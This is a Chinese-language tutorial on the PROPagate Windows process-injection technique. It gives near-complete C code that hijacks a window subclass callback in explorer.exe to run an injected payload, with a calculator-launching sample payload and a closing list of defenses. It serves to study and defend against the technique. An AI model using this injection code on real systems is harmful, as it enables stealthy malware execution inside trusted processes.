Windows进程注入技术之PROPagate篇
字数 1125 2025-08-20 18:17:53
Windows进程注入技术之PROPagate详解
一、技术概述
PROPagate是一种新型的进程注入技术,由Hexacorn公司的安全研究人员Adam在2017年10月首次提出。该技术利用Windows窗口子类化机制,通过修改子类头部中的回调函数指针,实现在目标进程中执行任意代码的目的。
技术特点
- 无需在远程进程中创建新线程
- 利用合法的窗口消息机制触发代码执行
- 主要针对使用子类化窗口的进程(如explorer.exe)
- 已被Smoke Loader和RIG Exploit Kit等恶意软件采用
二、技术原理
1. 窗口子类化机制
Windows中的窗口子类化允许应用程序拦截和处理发送到特定窗口的消息。系统通过以下关键结构体实现这一机制:
typedef struct _SUBCLASS_CALL {
SUBCLASSPROC pfnSubclass; // 子类过程函数指针
WPARAM uIdSubclass; // 唯一子类标识符
DWORD_PTR dwRefData; // 可选引用数据
} SUBCLASS_CALL, *PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME {
UINT uCallIndex; // 下一个要调用的回调索引
UINT uDeepestCall; // 堆栈上最深的uCallIndex
struct _SUBCLASS_FRAME *pFramePrev; // 前一个子类帧指针
struct _SUBCLASS_HEADER *pHeader; // 关联的头部指针
} SUBCLASS_FRAME, *PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER {
UINT uRefs; // 子类计数
UINT uAlloc; // 分配的子类调用节点数
UINT uCleanup; // 要清理的调用节点索引
DWORD dwThreadId; // 挂钩窗口的线程ID
SUBCLASS_FRAME *pFrameCur; // 当前子类帧指针
SUBCLASS_CALL CallArray[1]; // 打包的调用节点数组基址
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;
2. 注入流程
- 查找目标窗口及其子类头部
- 读取原始子类头部信息
- 在目标进程中分配内存并写入恶意代码
- 修改子类头部中的回调函数指针
- 通过窗口消息触发代码执行
- 恢复原始子类头部
三、技术实现
1. 枚举目标窗口
首先需要找到具有子类化窗口的目标进程,通常使用以下API:
EnumWindows/EnumDesktopWindows
EnumChildWindows
EnumProps/EnumPropsEx
具体实现步骤:
- 调用
EnumWindows枚举顶层窗口 - 在回调函数
EnumWindowsProc中调用EnumChildWindows - 在回调函数
EnumChildWindowsProc中调用EnumProps - 检查属性列表中是否存在"UxSubclassInfo"或"CC32SubclassInfo"
2. 关键代码实现
窗口属性枚举回调
BOOL CALLBACK PropEnumProc(HWND hwnd, LPCTSTR lpszString, HANDLE hData) {
WINPROPS wp;
HANDLE hp;
hp = GetProp(hwnd, L"UxSubclassInfo");
if(hp == NULL)
hp = GetProp(hwnd, L"CC32SubclassInfo");
if(hp != NULL) {
ZeroMemory(&wp, sizeof(wp));
GetWindowThreadProcessId(hwnd, &wp.dwPid);
wp.hProperty = hp;
wp.hChildWnd = hwnd;
wp.hParentWnd = GetParent(hwnd);
GetClassName(wp.hParentWnd, wp.ParentClassName, MAX_PATH);
GetClassName(hwnd, wp.ChildClassName, MAX_PATH);
GetProcessImageName(wp.dwPid, wp.ImageName, MAX_PATH);
if(!IsEntry(&wp)) {
windows.push_back(wp);
}
}
return TRUE;
}
完整的注入函数
VOID propagate(LPVOID payload, DWORD payloadSize) {
HANDLE hp, p;
DWORD id;
HWND pwh, cwh;
SUBCLASS_HEADER sh;
LPVOID psh, pfnSubclass;
SIZE_T rd, wr;
// 1. 获取父窗口句柄
pwh = FindWindow(L"Progman", NULL);
// 2. 获取子窗口句柄
cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3. 获取子类头部句柄
p = GetProp(cwh, L"UxSubclassInfo");
// 4. 获取explorer.exe的进程ID
GetWindowThreadProcessId(cwh, &id);
// 5. 打开explorer.exe进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. 读取当前子类头部内容
ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7. 分配内存用于新的子类头部
psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
// 8. 分配内存用于payload
pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. 写入payload到内存
WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr);
// 10. 修改回调函数指针并写回进程
sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11. 使用SetProp更新子类过程
SetProp(cwh, L"UxSubclassInfo", psh);
// 12. 通过窗口消息触发payload
PostMessage(cwh, WM_CLOSE, 0, 0);
// 13. 恢复原始子类头部
SetProp(cwh, L"UxSubclassInfo", p);
// 14. 释放内存并关闭句柄
VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT|MEM_RELEASE);
VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT|MEM_RELEASE);
CloseHandle(hp);
}
3. Payload设计
Payload需要符合特定的函数原型:
typedef LRESULT (CALLBACK* SUBCLASSPROC)(
HWND hWnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam,
UINT_PTR uIdSubclass,
DWORD_PTR dwRefData
);
示例payload(弹计算器):
LRESULT CALLBACK SubclassProc(
HWND hWnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam,
UINT_PTR uIdSubclass,
DWORD_PTR dwRefData)
{
// 只处理WM_CLOSE消息,避免多次执行
if(uMsg != WM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2], szCalc[2];
// WinExec
szWinExec[0] = 0x456E6957; // "EniW"
szWinExec[1] = 0x00636578; // "cex\0"
// calc
szCalc[0] = 0x636C6163; // "clac"
szCalc[1] = 0; // "\0"
pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
if(pWinExec != NULL) {
pWinExec((LPSTR)szCalc, SW_SHOW);
}
return 0;
}
四、技术优势
- 隐蔽性强:不创建新线程,减少被检测的风险
- 利用合法机制:使用Windows原生API和窗口消息机制
- 针对高权限进程:常针对explorer.exe等以中等完整性级别运行的进程
- 灵活性高:可以精确控制代码执行时机
五、防御措施
- 监控窗口属性修改:特别是"UxSubclassInfo"和"CC32SubclassInfo"属性的修改
- 检测异常窗口消息:监控非正常的WM_CLOSE等消息发送
- 进程行为分析:检测explorer.exe等系统进程的异常内存分配和代码执行
- API钩子:监控关键API如SetProp、VirtualAllocEx等的调用
六、总结
PROPagate注入技术展示了攻击者如何利用Windows的合法机制实现代码注入。这种技术因其隐蔽性和有效性,已被多个恶意软件家族采用。理解其工作原理对于开发有效的防御措施至关重要。安全研究人员和开发人员应关注此类技术,并在安全产品中实施相应的检测和防护机制。